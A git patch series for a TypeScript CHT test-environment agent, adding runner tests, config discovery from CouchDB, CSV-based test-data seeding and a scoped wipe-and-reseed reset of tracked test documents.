+
+      expect(spawnLog[0].opts.cwd).to.equal('/mnt/data');
+    });
+
+    it('does not set a cwd (and never a shell) unless asked', async () => {
+      const proc = makeFakeProc();
+      const { runChtConf, spawnLog } = loadRunner(proc);
+
+      const promise = runChtConf(execOpts());
+      proc.emit('close', 0);
+      await promise;
+
+      expect(spawnLog[0].opts).to.not.have.property('cwd');
+      expect(spawnLog[0].opts).to.not.have.property('shell');
+    });
+
+    it('applies the minimal env allow-list to the child', async () => {
+      const proc = makeFakeProc();
+      const { runChtConf, spawnLog } = loadRunner(proc);
+      const prior = process.env.ANTHROPIC_API_KEY;
+      process.env.ANTHROPIC_API_KEY = 'sk-should-not-leak';
+
+      const promise = runChtConf(execOpts());
+      proc.emit('close', 0);
+      await promise;
+
+      const childEnv = spawnLog[0].opts.env as NodeJS.ProcessEnv;
+      expect(childEnv).to.not.have.property('ANTHROPIC_API_KEY');
+      expect(childEnv).to.have.property('PATH');
+      if (prior === undefined) {
+        delete process.env.ANTHROPIC_API_KEY;
+      } else {
+        process.env.ANTHROPIC_API_KEY = prior;
+      }
+    });
+
+    it('collects interleaved stdout and stderr into output with the exit code', async () => {
+      const proc = makeFakeProc();
+      const { runChtConf } = loadRunner(proc);
+
+      const promise = runChtConf(execOpts());
+      proc.stdout.emit('data', Buffer.from('INFO Summary: 3 of 3 docs uploaded OK.\n'));
+      proc.stderr.emit('data', Buffer.from('some stderr noise\n'));
+      proc.emit('close', 3);
+
+      const result = await promise;
+      expect(result.exitCode).to.equal(3);
+      expect(result.timedOut).to.equal(false);
+      expect(result.output).to.include('Summary: 3 of 3 docs uploaded OK.');
+      expect(result.output).to.include('some stderr noise');
+    });
+
+    it('kills the process and reports timedOut when the run times out', async () => {
+      const proc = makeFakeProc();
+      const { runChtConf } = loadRunner(proc);
+
+      // Tiny timeout, and the fake proc never emits 'close' → the timer fires.
+      const result = await runChtConf(execOpts({ timeoutMs: 5 }));
+
+      expect(proc.kill.calledWith('SIGTERM')).to.equal(true);
+      expect(result.timedOut).to.equal(true);
+      expect(result.exitCode).to.equal(null);
+    });
+
+    it('folds a spawn failure into startError instead of rejecting', async () => {
+      const proc = makeFakeProc();
+      const { runChtConf } = loadRunner(proc);
+
+      const promise = runChtConf(execOpts());
+      proc.emit('error', new Error('ENOENT'));
+
+      const result = await promise;
+      expect(result.startError).to.equal('ENOENT');
+      expect(result.exitCode).to.equal(null);
+    });
+  });
+
   describe('runBucket', () => {
     afterEach(() => {
       sinon.restore();

From 2a041f574764e359c63497bd7f32ab2dc5e2d22d Mon Sep 17 00:00:00 2001
From: CHT Agent <agent@cht-agent.local>
Date: Sat, 18 Jul 2026 01:34:28 +0000
Subject: [PATCH 08/24] =?UTF-8?q?feat(#66):=20phase=203=20=E2=80=94=20disc?=
 =?UTF-8?q?overConfig=20+=20cht-api,=20prepareTestData=20+=20test-data,=20?=
 =?UTF-8?q?couchdb-tier=20reset?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Land the Phase-3 real paths of the Test Environment Agent, ported from the
workbench lineage (the port source of truth), minus the cht-conf-extension
pieces that belong to that PR.

New HTTP/fs isolation modules (mirroring how cht-readiness.ts isolates fetch):
- src/utils/cht-api.ts — bounded, authed CouchDB/CHT helpers: fetchSettings,
  fetchFormRevs, fetchDocRevs, bulkDocs. Credentials ride the Authorization
  header only, never a URL or log line.
- src/utils/test-data.ts — json_docs reading, seeded-doc classification against
  the discovered config, and cht-conf stdout parsers (upload-docs summary,
  create-users progress; ANSI-stripped).

Agent real paths (mock paths unchanged):
- discoverConfig: GET /api/v1/settings + the form-rev _all_docs range, parsed
  into DiscoveredConfig. formVersions carries each installed form's rev — the
  change-detection hash for the apply -> verify loop.
- prepareTestData: cht-conf csv-to-docs + upload-docs seed the instance, then
  create-users when users.csv exists. Seeded doc ids are tracked per env for
  the reset. Takes a PrepareTestDataOptions (dataPath/bin/timeoutMs).
- reset('couchdb'): the one reset the agent does itself — wipe the tracked docs
  at their CURRENT revs, then reseed pristine copies. The reseed source is
  pre-flighted before the destructive wipe so a vanished data project fails
  closed. restart/full stay human-gated. teardown clears the tracking.

Excisions (cht-conf-extension, deferred): verifyArtifact + fetchDeployedFormXml
and their imports (fetchFormXml from cht-api, verifyFormBinds from xform-inspect
which is not ported); mockVerifyArtifactResult.

Types: DiscoveredConfig.formVersions, TestDataResult.succeeded/seededDocIds,
PrepareTestDataOptions. Mock fixture gains formVersions + seededDocIds. The
three obsolete "throws not-implemented in real mode" agent assertions are
removed here (real-path specs land in the following test commit).

1042 tests pass, build + lint clean (Node 22).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---
 .../test-environment-agent.mock-data.ts       |  21 +
 src/agents/test-environment-agent.ts          | 376 +++++++++++++++++-
 src/types/index.ts                            |  33 ++
 src/utils/cht-api.ts                          | 183 +++++++++
 src/utils/test-data.ts                        | 156 ++++++++
 test/agents/test-environment-agent.spec.ts    |  43 --
 6 files changed, 747 insertions(+), 65 deletions(-)
 create mode 100644 src/utils/cht-api.ts
 create mode 100644 src/utils/test-data.ts

diff --git a/src/agents/test-environment-agent.mock-data.ts b/src/agents/test-environment-agent.mock-data.ts
index ef9504bf..14574425 100644
--- a/src/agents/test-environment-agent.mock-data.ts
+++ b/src/agents/test-environment-agent.mock-data.ts
@@ -51,6 +51,11 @@ export const MOCK_TEST_ENV_DATA: MockTestEnvData = {
       death_reporting: { disable: false },
     },
     forms: ['delivery', 'pregnancy', 'assessment'],
+    formVersions: {
+      delivery: '1-mockrev',
+      pregnancy: '1-mockrev',
+      assessment: '1-mockrev',
+    },
   },
   testData: {
     placesCreated: 3,
@@ -58,5 +63,21 @@ export const MOCK_TEST_ENV_DATA: MockTestEnvData = {
     reportsCreated: 4,
     usersCreated: 2,
     warnings: [],
+    succeeded: true,
+    // One id per mock place/person/report (users are accounts, not docs).
+    seededDocIds: [
+      'mock-place-district-1',
+      'mock-place-health-center-1',
+      'mock-place-clinic-1',
+      'mock-person-1',
+      'mock-person-2',
+      'mock-person-3',
+      'mock-person-4',
+      'mock-person-5',
+      'mock-report-delivery-1',
+      'mock-report-pregnancy-1',
+      'mock-report-pregnancy-2',
+      'mock-report-assessment-1',
+    ],
   },
 };
diff --git a/src/agents/test-environment-agent.ts b/src/agents/test-environment-agent.ts
index a55c0ea9..05ff7844 100644
--- a/src/agents/test-environment-agent.ts
+++ b/src/agents/test-environment-agent.ts
@@ -4,29 +4,44 @@
  * Deterministic provisioning orchestrator for the Test Environment Layer
  * (QA Supervisor). It provisions a live CHT instance, applies a config,
  * discovers the deployed config, and seeds conforming test data. No LLM is
- * involved. Real paths implemented: provision (human-gated bring-up + readiness
- * polling) and applyConfig (cht-conf upload buckets). discoverConfig /
- * prepareTestData / the couchdb-tier reset real paths land in #66 phase 3.
+ * involved. Real paths: provision (human-gated bring-up + readiness polling),
+ * applyConfig (cht-conf upload buckets), discoverConfig (settings + form-rev
+ * fetch), prepareTestData (cht-conf csv-to-docs/upload-docs/create-users),
+ * and the couchdb-tier reset (tracked-doc wipe + reseed over the CouchDB HTTP
+ * API — the one reset the agent does itself; restart/full stay human-gated).
+ * The LangGraph node + CLI land in a later #66 phase.
  *
  * See: designs/layer_recommendations/test-environment-layer.md
  */
 
 import {
   ApplyConfigOptions,
+  ChtConfExecResult,
   ConfigActionResult,
   ConfigApplyResult,
   ConfigUploadAction,
+  ContactTypeConfig,
   DiscoveredConfig,
   EnvironmentHandle,
+  PrepareTestDataOptions,
   ProvisionOptions,
   ResetTier,
+  RoleConfig,
   TestDataResult,
+  TransitionConfig,
 } from '../types';
 import { MOCK_TEST_ENV_DATA, mockConfigActionResult } from './test-environment-agent.mock-data';
 import { waitForReady } from '../utils/cht-readiness';
-import { runBucket } from '../utils/cht-conf-runner';
-
-const NOT_IMPLEMENTED = 'Docker orchestration not yet implemented';
+import { runBucket, runChtConf } from '../utils/cht-conf-runner';
+import { BulkDoc, bulkDocs, fetchDocRevs, fetchFormRevs, fetchSettings } from '../utils/cht-api';
+import {
+  classifySeededDocs,
+  cleanSeededDocs,
+  countCreatedUsers,
+  hasUsersCsv,
+  parseUploadDocsSummary,
+  readSeededDocs,
+} from '../utils/test-data';
 
 // Real-path defaults: the human brings CHT up on cht-agent-net; the agent
 // reaches it at the nginx service hostname with the cht-docker-compose.sh creds.
@@ -45,6 +60,9 @@ const DEFAULT_CONFIG_ACTIONS: ConfigUploadAction[] = [
   'resources',
 ];
 
+// CouchDB id prefix of installed form docs (form:pregnancy -> pregnancy).
+const FORM_DOC_PREFIX = 'form:';
+
 /**
  * Build the cht-conf instance URL with embedded credentials
  * (https://user:pass@host). Only the runner sees this; logs use handle.url.
@@ -72,8 +90,123 @@ const toApplyResult = (
   warnings: results.flatMap((result) => result.warnings),
 });
 
+const isRecord = (value: unknown): value is Record<string, unknown> =>
+  value !== null && typeof value === 'object' && !Array.isArray(value);
+
+const parseContactTypes = (raw: unknown): ContactTypeConfig[] => {
+  if (!Array.isArray(raw)) {
+    return [];
+  }
+  return raw.filter(isRecord).flatMap((entry) => {
+    if (typeof entry.id !== 'string') {
+      return [];
+    }
+    const parents = Array.isArray(entry.parents)
+      ? entry.parents.filter((parent): parent is string => typeof parent === 'string')
+      : undefined;
+    return [
+      {
+        id: entry.id,
+        ...(parents !== undefined ? { parents } : {}),
+        ...(typeof entry.person === 'boolean' ? { person: entry.person } : {}),
+      },
+    ];
+  });
+};
+
+const parseRoles = (raw: unknown): Record<string, RoleConfig> => {
+  if (!isRecord(raw)) {
+    return {};
+  }
+  const roles: Record<string, RoleConfig> = {};
+  for (const [name, value] of Object.entries(raw)) {
+    if (!isRecord(value)) {
+      continue;
+    }
+    roles[name] = {
+      ...(typeof value.name === 'string' ? { name: value.name } : {}),
+      ...(typeof value.offline === 'boolean' ? { offline: value.offline } : {}),
+    };
+  }
+  return roles;
+};
+
+const parsePermissions = (raw: unknown): Record<string, string[]> => {
+  if (!isRecord(raw)) {
+    return {};
+  }
+  const permissions: Record<string, string[]> = {};
+  for (const [name, value] of Object.entries(raw)) {
+    if (Array.isArray(value)) {
+      permissions[name] = value.filter((role): role is string => typeof role === 'string');
+    }
+  }
+  return permissions;
+};
+
+const parseTransitions = (raw: unknown): Record<string, TransitionConfig> => {
+  if (!isRecord(raw)) {
+    return {};
+  }
+  const transitions: Record<string, TransitionConfig> = {};
+  for (const [name, value] of Object.entries(raw)) {
+    if (typeof value === 'boolean') {
+      transitions[name] = value;
+    } else if (isRecord(value)) {
+      transitions[name] = { disable: value.disable === true };
+    }
+  }
+  return transitions;
+};
+
+/**
+ * Map raw /api/v1/settings JSON + the installed form docs' revs into the
+ * DiscoveredConfig the data/test layers consume. Pure — exported for nothing;
+ * exercised through discoverConfig.
+ */
+const parseDiscoveredConfig = (
+  settings: Record<string, unknown>,
+  formRevs: Array<{ id: string; rev: string }>
+): DiscoveredConfig => {
+  const formVersions: Record<string, string> = {};
+  for (const form of formRevs) {
+    const id = form.id.startsWith(FORM_DOC_PREFIX) ? form.id.slice(FORM_DOC_PREFIX.length) : form.id;
+    formVersions[id] = form.rev;
+  }
+  return {
+    contactTypes: parseContactTypes(settings.contact_types),
+    roles: parseRoles(settings.roles),
+    permissions: parsePermissions(settings.permissions),
+    transitions: parseTransitions(settings.transitions),
+    forms: Object.keys(formVersions),
+    formVersions,
+  };
+};
+
+/** One line describing why a cht-conf invocation did not succeed. */
+const describeRunFailure = (label: string, run: ChtConfExecResult): string => {
+  if (run.timedOut) {
+    return `cht-conf ${label} timed out`;
+  }
+  if (run.startError !== undefined) {
+    return `cht-conf ${label} failed to start: ${run.startError}`;
+  }
+  return `cht-conf ${label} exited with code ${run.exitCode}`;
+};
+
+const runSucceeded = (run: ChtConfExecResult): boolean =>
+  run.exitCode === 0 && !run.timedOut && run.startError === undefined;
+
+/** What prepareTestData tracked for a provisioned env, keyed by handle URL. */
+interface SeededDataRecord {
+  dataPath: string;
+  docIds: string[];
+}
+
 export class TestEnvironmentAgent {
   private readonly useMockDocker: boolean;
+  /** Seeded-doc tracking per environment (handle URL) for the couchdb reset. */
+  private readonly seededData = new Map<string, SeededDataRecord>();
 
   constructor(options: { useMockDocker?: boolean } = {}) {
     this.useMockDocker = options.useMockDocker !== false;
@@ -171,15 +304,30 @@ export class TestEnvironmentAgent {
 
   /**
    * Read the deployed configuration back from the running instance so test data
-   * can be generated to conform to it.
+   * can be generated to conform to it. Doubles as the post-applyConfig verify
+   * primitive: formVersions carries each installed form's CouchDB rev, which
+   * changes iff the form was re-uploaded.
    */
   async discoverConfig(handle: EnvironmentHandle): Promise<DiscoveredConfig> {
-    if (!this.useMockDocker) {
-      throw new Error(NOT_IMPLEMENTED);
+    console.log(`[Test Environment Agent] Discovering config from ${handle.url}...`);
+
+    let config: DiscoveredConfig;
+    if (this.useMockDocker) {
+      config = structuredClone(MOCK_TEST_ENV_DATA.config);
+    } else {
+      const settings = await fetchSettings(handle.url, handle.auth);
+      if (!Array.isArray(settings.contact_types)) {
+        // Discovery reflects only what the instance returns (like the other
+        // parsers), so surface that cht-core is running on its built-in
+        // default hierarchy rather than synthesizing types the API never sent.
+        console.warn(
+          '[Test Environment Agent] Instance settings define no contact_types — cht-core falls back to ' +
+            'its built-in default hierarchy; seeded default-hierarchy places will be counted as unknown types.'
+        );
+      }
+      config = parseDiscoveredConfig(settings, await fetchFormRevs(handle.url, handle.auth));
     }
 
-    console.log(`[Test Environment Agent] Discovering config from ${handle.url}...`);
-    const config = structuredClone(MOCK_TEST_ENV_DATA.config);
     console.log(
       `[Test Environment Agent] Discovered ${config.contactTypes.length} contact types, ` +
         `${Object.keys(config.roles).length} roles, ${config.forms.length} forms`
@@ -188,20 +336,119 @@ export class TestEnvironmentAgent {
   }
 
   /**
-   * Generate and seed test data (places, people, reports, users) that conforms
-   * to the discovered config.
+   * Seed test data (places, people, reports, users) that conforms to the
+   * discovered config. Real path: cht-conf `csv-to-docs` + `upload-docs` turn
+   * `<dataPath>/csv/*.csv` into docs on the instance, then `create-users`
+   * provisions accounts from `<dataPath>/users.csv` when present. The seeded
+   * doc ids are tracked per environment so `reset('couchdb')` can wipe and
+   * reseed them without touching the deployed config.
    */
   async prepareTestData(
     handle: EnvironmentHandle,
-    config: DiscoveredConfig
+    config: DiscoveredConfig,
+    options: PrepareTestDataOptions = {}
   ): Promise<TestDataResult> {
-    if (!this.useMockDocker) {
-      throw new Error(NOT_IMPLEMENTED);
-    }
-
     console.log(
       `[Test Environment Agent] Preparing test data for ${config.contactTypes.length} contact types -> ${handle.url}`
     );
+
+    if (!this.useMockDocker) {
+      const dataPath = options.dataPath;
+      if (!dataPath) {
+        throw new Error('prepareTestData requires options.dataPath (a cht-conf project folder with csv/)');
+      }
+      const shared = {
+        instanceUrl: credentialedUrl(handle),
+        configPath: dataPath,
+        // cht-conf drops report files (upload-docs.<ts>.log.json) in its cwd;
+        // keep them in the data project, not the repo.
+        cwd: dataPath,
+        bin: options.bin,
+        timeoutMs: options.timeoutMs,
+      };
+      const warnings: string[] = [];
+
+      // csv-to-docs never cleans json_docs (it writes alongside what is
+      // there), so clear a previous run's docs first — otherwise a superseded
+      // dataset would be re-uploaded and counted as this run's data.
+      const staleDocs = cleanSeededDocs(dataPath);
+      if (staleDocs > 0) {
+        console.log(`[Test Environment Agent] Cleared ${staleDocs} stale json_docs file(s) from a previous run`);
+      }
+
+      // Docs: CSV -> json_docs -> instance, in one ordered cht-conf process.
+      const docsRun = await runChtConf({
+        verbs: ['csv-to-docs', 'upload-docs'],
+        logLabel: 'test-data: csv-to-docs upload-docs',
+        ...shared,
+      });
+      const docsOk = runSucceeded(docsRun);
+      if (!docsOk) {
+        warnings.push(describeRunFailure('csv-to-docs/upload-docs', docsRun));
+      }
+
+      // What landed on disk is the seeding evidence AND the reset worklist
+      // (deterministic ids: re-running the same CSVs rewrites the same files).
+      const seeded = readSeededDocs(dataPath);
+      const counts = classifySeededDocs(seeded, config);
+      warnings.push(...counts.warnings);
+
+      const summary = parseUploadDocsSummary(docsRun.output);
+      if (docsOk && summary && summary.uploaded < summary.total) {
+        warnings.push(`only ${summary.uploaded} of ${summary.total} docs uploaded — see the upload-docs report in ${dataPath}`);
+      }
+      if (docsOk && !summary) {
+        warnings.push(`no docs were uploaded — does ${dataPath}/csv exist and contain CSV files?`);
+      }
+
+      // Users: accounts via POST /api/v1/users, driven by users.csv (either
+      // hand-written or generated by csv-to-docs from users.*.csv inputs).
+      // cht-conf throws on a missing users.csv, so gate on its existence.
+      let usersCreated = 0;
+      let usersOk = true;
+      if (hasUsersCsv(dataPath)) {
+        const usersRun = await runChtConf({
+          verbs: ['create-users'],
+          logLabel: 'test-data: create-users',
+          ...shared,
+        });
+        usersOk = runSucceeded(usersRun);
+        const attempts = countCreatedUsers(usersRun.output);
+        // On failure the last logged "Creating user" attempt is the one that
+        // blew up — count only the ones before it.
+        usersCreated = usersOk ? attempts : Math.max(0, attempts - 1);
+        if (!usersOk) {
+          warnings.push(describeRunFailure('create-users', usersRun));
+        }
+      } else {
+        console.log('[Test Environment Agent] No users.csv in the data project — skipping create-users');
+      }
+
+      // Only a successful, non-empty seed defines the reset worklist — a
+      // failed or empty re-seed must not clobber a live one (docs from the
+      // earlier seed are still on the instance). Deterministic ids mean a
+      // successful follow-up seed re-covers a failed run's partial upload.
+      if (docsOk && seeded.length > 0) {
+        this.seededData.set(handle.url, { dataPath, docIds: seeded.map((doc) => doc.id) });
+      }
+
+      const result: TestDataResult = {
+        placesCreated: counts.places,
+        peopleCreated: counts.people,
+        reportsCreated: counts.reports,
+        usersCreated,
+        warnings,
+        succeeded: docsOk && usersOk,
+        seededDocIds: seeded.map((doc) => doc.id),
+      };
+      console.log(
+        `[Test Environment Agent] Seeded ${result.placesCreated} places, ` +
+          `${result.peopleCreated} people, ${result.reportsCreated} reports, ` +
+          `${result.usersCreated} users`
+      );
+      return result;
+    }
+
     const result = structuredClone(MOCK_TEST_ENV_DATA.testData);
     console.log(
       `[Test Environment Agent] Seeded ${result.placesCreated} places, ` +
@@ -213,14 +460,16 @@ export class TestEnvironmentAgent {
 
   /**
    * Reset the environment to a known state. See the three-tier reset strategy
-   * in the recommendation doc.
+   * in the recommendation doc. The couchdb tier is the one reset the agent
+   * performs itself (CouchDB HTTP API — no Docker): it wipes the docs the last
+   * prepareTestData seeded and re-uploads pristine copies, leaving the deployed
+   * config untouched. restart/full remain human-gated Docker operations.
    */
   async reset(handle: EnvironmentHandle, tier: ResetTier): Promise<void> {
     if (!this.useMockDocker) {
-      // couchdb-tier wipe/reseed operates on the docs prepareTestData seeds,
-      // so it lands with test-data prep in a later phase.
       if (tier === 'couchdb') {
-        throw new Error('couchdb-tier reset requires seeded-data tracking (lands in #66 Phase 3)');
+        await this.resetCouchdbTier(handle);
+        return;
       }
 
       // restart/full are Docker operations — human-gated, the agent runs none.
@@ -239,11 +488,94 @@ export class TestEnvironmentAgent {
     console.log('[Test Environment Agent] (mock) reset complete');
   }
 
+  /**
+   * couchdb-tier reset: delete the tracked seeded docs at their CURRENT revs
+   * (sentinel may have bumped them), then reseed pristine copies from the
+   * tracked json_docs. The reseed source is pre-flighted BEFORE the wipe so a
+   * vanished data project fails closed instead of leaving the instance empty.
+   * Throws when the wipe or the reseed does not fully apply — a half-reset
+   * environment must not pass as clean.
+   */
+  private async resetCouchdbTier(handle: EnvironmentHandle): Promise<void> {
+    const tracked = this.seededData.get(handle.url);
+    if (!tracked || tracked.docIds.length === 0) {
+      console.log(
+        `[Test Environment Agent] couchdb reset: no seeded docs tracked for ${handle.url} — ` +
+          'nothing to wipe (seed with prepareTestData first)'
+      );
+      return;
+    }
+
+    // Pre-flight the reseed source BEFORE the destructive wipe: if the data
+    // project's json_docs are gone, wiping would leave the environment empty
+    // while this method reports success.
+    const onDisk = readSeededDocs(tracked.dataPath);
+    if (onDisk.length === 0) {
+      throw new Error(
+        `couchdb reset: ${tracked.dataPath}/json_docs has no docs to reseed from — ` +
+          're-run prepareTestData instead of resetting'
+      );
+    }
+
+    console.log(
+      `[Test Environment Agent] couchdb reset: wiping ${tracked.docIds.length} seeded doc(s) -> ${handle.url}`
+    );
+    const rows = await fetchDocRevs(handle.url, handle.auth, tracked.docIds);
+    const deletions: BulkDoc[] = [];
+    for (const row of rows) {
+      if (row.rev !== undefined && !row.deleted && !row.missing) {
+        deletions.push({ _id: row.id, _rev: row.rev, _deleted: true });
+      }
+    }
+
+    if (deletions.length > 0) {
+      const outcomes = await bulkDocs(handle.url, handle.auth, deletions);
+      const failed = outcomes.filter((row) => row.error);
+      if (failed.length > 0) {
+        const failedIds = failed.map((row) => row.id ?? 'unknown').slice(0, 5).join(', ');
+        throw new Error(`couchdb reset failed to delete ${failed.length} doc(s): ${failedIds}`);
+      }
+    }
+
+    // Reseed pristine copies — deterministic ids mean the same docs come back
+    // with fresh revs (CouchDB allows re-creating a deleted id without a rev).
+    const reseed = await runChtConf({
+      verbs: ['upload-docs'],
+      instanceUrl: credentialedUrl(handle),
+      configPath: tracked.dataPath,
+      cwd: tracked.dataPath,
+      logLabel: 'couchdb reset: upload-docs',
+    });
+    if (!runSucceeded(reseed)) {
+      throw new Error(`couchdb reset: reseed failed — ${describeRunFailure('upload-docs', reseed)}`);
+    }
+    // upload-docs exits 0 with NO summary when it uploaded nothing, and the
+    // summary total is only the on-disk file count — so require a summary and
+    // measure it against what the pre-flight saw, never against itself.
+    const summary = parseUploadDocsSummary(reseed.output);
+    const uploadedCount = summary?.uploaded ?? 0;
+    if (uploadedCount < onDisk.length) {
+      throw new Error(`couchdb reset: reseed uploaded only ${uploadedCount} of ${onDisk.length} docs`);
+    }
+
+    // The reseeded docs are the new tracked state (the dataset may have
+    // changed since the wiped set was seeded).
+    this.seededData.set(handle.url, { dataPath: tracked.dataPath, docIds: onDisk.map((doc) => doc.id) });
+
+    console.log(
+      `[Test Environment Agent] couchdb reset complete — ` +
+        `${tracked.docIds.length} doc(s) wiped, ${onDisk.length} reseeded`
+    );
+  }
+
   /**
    * Tear the environment down and clean up volumes.
    */
   async teardown(handle: EnvironmentHandle): Promise<void> {
     if (!this.useMockDocker) {
+      // The environment (and every doc in it) is going away with the volumes.
+      this.seededData.delete(handle.url);
+
       // Teardown is `docker compose down -v` — human-gated, the agent runs none.
       const target = handle.chtCorePath ?? '<cht-core>';
       console.log('[Test Environment Agent] HUMAN GATE — teardown (the agent runs no Docker):');
diff --git a/src/types/index.ts b/src/types/index.ts
index 85e871cb..beb8512d 100644
--- a/src/types/index.ts
+++ b/src/types/index.ts
@@ -772,6 +772,14 @@ export interface DiscoveredConfig {
   permissions: Record<string, string[]>;
   transitions: Record<string, TransitionConfig>;
   forms: string[];
+  /**
+   * Installed form id -> CouchDB revision of its `form:<id>` doc. The rev is
+   * the change-detection hash for the apply -> verify loop: re-discover after
+   * applyConfig and a changed rev proves the upload took (an unchanged rev
+   * matches cht-conf's `skipped` status). Populated by the real discovery
+   * path; optional so hand-built configs (tests, fixtures) stay lightweight.
+   */
+  formVersions?: Record<string, string>;
 }
 
 /**
@@ -913,6 +921,23 @@ export interface ChtConfExecResult {
   startError?: string;
 }
 
+/**
+ * Inputs to prepareTestData's real path. The data project is a cht-conf
+ * project folder: docs come from `<dataPath>/csv/*.csv` (csv-to-docs naming:
+ * place.<type>.csv, person.csv, report.<form>.csv, contact.csv, users.csv),
+ * and user accounts from `<dataPath>/users.csv` (hand-written, or generated
+ * by csv-to-docs from users.*.csv inputs). create-users only runs when that
+ * file exists — cht-conf throws on a missing users.csv.
+ */
+export interface PrepareTestDataOptions {
+  /** cht-conf project folder holding csv/ (required by the real path). */
+  dataPath?: string;
+  /** Override the cht-conf binary (default: `cht`); lets tests stub a fake script. */
+  bin?: string;
+  /** Per-invocation timeout in ms before the process is killed. */
+  timeoutMs?: number;
+}
+
 /**
  * Tuning for readiness polling (see src/utils/cht-readiness.ts)
  */
@@ -963,6 +988,14 @@ export interface TestDataResult {
   reportsCreated: number;
   usersCreated: number;
   warnings: string[];
+  /** True when every cht-conf seeding invocation exited cleanly. */
+  succeeded: boolean;
+  /**
+   * _ids of the docs seeded via csv-to-docs + upload-docs (evidence for the
+   * QA verify step; also what the couchdb-tier reset wipes and reseeds).
+   * User ACCOUNTS created by create-users are not docs and are not listed.
+   */
+  seededDocIds: string[];
 }
 
 /**
diff --git a/src/utils/cht-api.ts b/src/utils/cht-api.ts
new file mode 100644
index 00000000..c530427e
--- /dev/null
+++ b/src/utils/cht-api.ts
@@ -0,0 +1,183 @@
+/**
+ * CHT / CouchDB HTTP helpers for the Test Environment Layer.
+ *
+ * Isolates every `fetch` against a running instance (the way cht-readiness.ts
+ * isolates the readiness poll), so the Test Environment Agent stays
+ * orchestration-only. CHT proxies CouchDB behind the same nginx front end, so
+ * both the API (`/api/v1/settings`) and the medic database
+ * (`/medic/_all_docs`, `/medic/_bulk_docs`) share the handle's base URL and
+ * admin credentials. Credentials travel only in the Authorization header —
+ * never in a URL, a log line, or an error message.
+ *
+ * See: designs/layer_recommendations/test-environment-layer.md (Config
+ *      Discovery + reset tiers), docs/handoffs/66-phase2-applyconfig-implementation.md §5
+ */
+
+import { EnvironmentHandle } from '../types';
+
+type ChtAuth = EnvironmentHandle['auth'];
+
+/** Per-request bound so a hung connection fails fast (same default as readiness). */
+const DEFAULT_REQUEST_TIMEOUT_MS = 10_000;
+
+export interface ChtRequestOptions {
+  /** Per-request timeout in ms. */
+  requestTimeoutMs?: number;
+}
+
+/** A row of a CouchDB _all_docs response, flattened for callers. */
+export interface DocRevRow {
+  id: string;
+  /** Present when the doc exists (deleted docs keep their tombstone rev). */
+  rev?: string;
+  /** True when the doc exists only as a deletion tombstone. */
+  deleted?: boolean;
+  /** True when the doc has never existed. */
+  missing?: boolean;
+}
+
+/** A row of a CouchDB _bulk_docs response. */
+export interface BulkDocResultRow {
+  id?: string;
+  ok?: boolean;
+  rev?: string;
+  error?: string;
+  reason?: string;
+}
+
+/** Minimal shape of a doc submitted to _bulk_docs (deletions add _deleted). */
+export type BulkDoc = { _id: string } & Record<string, unknown>;
+
+// Raw CouchDB _all_docs row: value carries rev/deleted, error marks missing keys.
+interface AllDocsRow {
+  id?: string;
+  key?: string;
+  value?: { rev?: string; deleted?: boolean };
+  error?: string;
+}
+
+const basicAuth = (auth: ChtAuth): string => {
+  const encoded = Buffer.from(`${auth.user}:${auth.password}`).toString('base64');
+  return `Basic ${encoded}`;
+};
+
+/**
+ * Bounded, authenticated request. Throws on a non-2xx status with the path
+ * and status only (the base URL is the handle's cred-free URL, so the full
+ * message stays safe to log).
+ */
+const request = async (
+  url: string,
+  auth: ChtAuth,
+  path: string,
+  options: ChtRequestOptions,
+  init: { method?: string; body?: string } = {}
+): Promise<unknown> => {
+  const timeoutMs = options.requestTimeoutMs ?? DEFAULT_REQUEST_TIMEOUT_MS;
+  const response = await fetch(`${url}${path}`, {
+    method: init.method ?? 'GET',
+    headers: {
+      Authorization: basicAuth(auth),
+      Accept: 'application/json',
+      ...(init.body !== undefined ? { 'Content-Type': 'application/json' } : {}),
+    },
+    ...(init.body !== undefined ? { body: init.body } : {}),
+    signal: AbortSignal.timeout(timeoutMs),
+  });
+  if (!response.ok) {
+    throw new Error(`CHT request failed: ${init.method ?? 'GET'} ${path} -> HTTP ${response.status}`);
+  }
+  return response.json();
+};
+
+/**
+ * Read the deployed app settings (GET /api/v1/settings) — contact_types,
+ * roles, permissions, transitions, and the rest of the app_settings doc.
+ */
+export const fetchSettings = async (
+  url: string,
+  auth: ChtAuth,
+  options: ChtRequestOptions = {}
+): Promise<Record<string, unknown>> => {
+  const settings = await request(url, auth, '/api/v1/settings', options);
+  if (settings === null || typeof settings !== 'object' || Array.isArray(settings)) {
+    throw new Error('CHT request failed: GET /api/v1/settings returned a non-object body');
+  }
+  return settings as Record<string, unknown>;
+};
+
+// _all_docs key range covering every `form:<id>` doc. \ufff0 is the
+// conventional high-sentinel: it sorts after any real form id character.
+const FORM_RANGE_QUERY = new URLSearchParams({
+  startkey: JSON.stringify('form:'),
+  endkey: JSON.stringify('form:\ufff0'),
+}).toString();
+
+/**
+ * List the installed form docs (id + current rev) straight from the medic
+ * database. The rev doubles as the form's change-detection hash — see
+ * DiscoveredConfig.formVersions.
+ */
+export const fetchFormRevs = async (
+  url: string,
+  auth: ChtAuth,
+  options: ChtRequestOptions = {}
+): Promise<Array<{ id: string; rev: string }>> => {
+  const body = (await request(url, auth, `/medic/_all_docs?${FORM_RANGE_QUERY}`, options)) as {
+    rows?: AllDocsRow[];
+  };
+  return (body.rows ?? [])
+    .filter((row): row is AllDocsRow & { id: string } => typeof row.id === 'string' && !row.value?.deleted)
+    .map((row) => ({ id: row.id, rev: row.value?.rev ?? '' }));
+};
+
+/**
+ * Fetch the CURRENT revision of each requested doc id (POST /medic/_all_docs
+ * with keys). The couchdb reset needs live revs, not the revs from seeding
+ * time — sentinel transitions bump seeded docs' revs behind our back.
+ */
+export const fetchDocRevs = async (
+  url: string,
+  auth: ChtAuth,
+  ids: string[],
+  options: ChtRequestOptions = {}
+): Promise<DocRevRow[]> => {
+  if (ids.length === 0) {
+    return [];
+  }
+  const body = (await request(url, auth, '/medic/_all_docs', options, {
+    method: 'POST',
+    body: JSON.stringify({ keys: ids }),
+  })) as { rows?: AllDocsRow[] };
+  return (body.rows ?? []).map((row) => {
+    if (row.error || !row.value) {
+      return { id: row.key ?? row.id ?? '', missing: true };
+    }
+    return {
+      id: row.id ?? row.key ?? '',
+      rev: row.value.rev,
+      ...(row.value.deleted ? { deleted: true } : {}),
+    };
+  });
+};
+
+/**
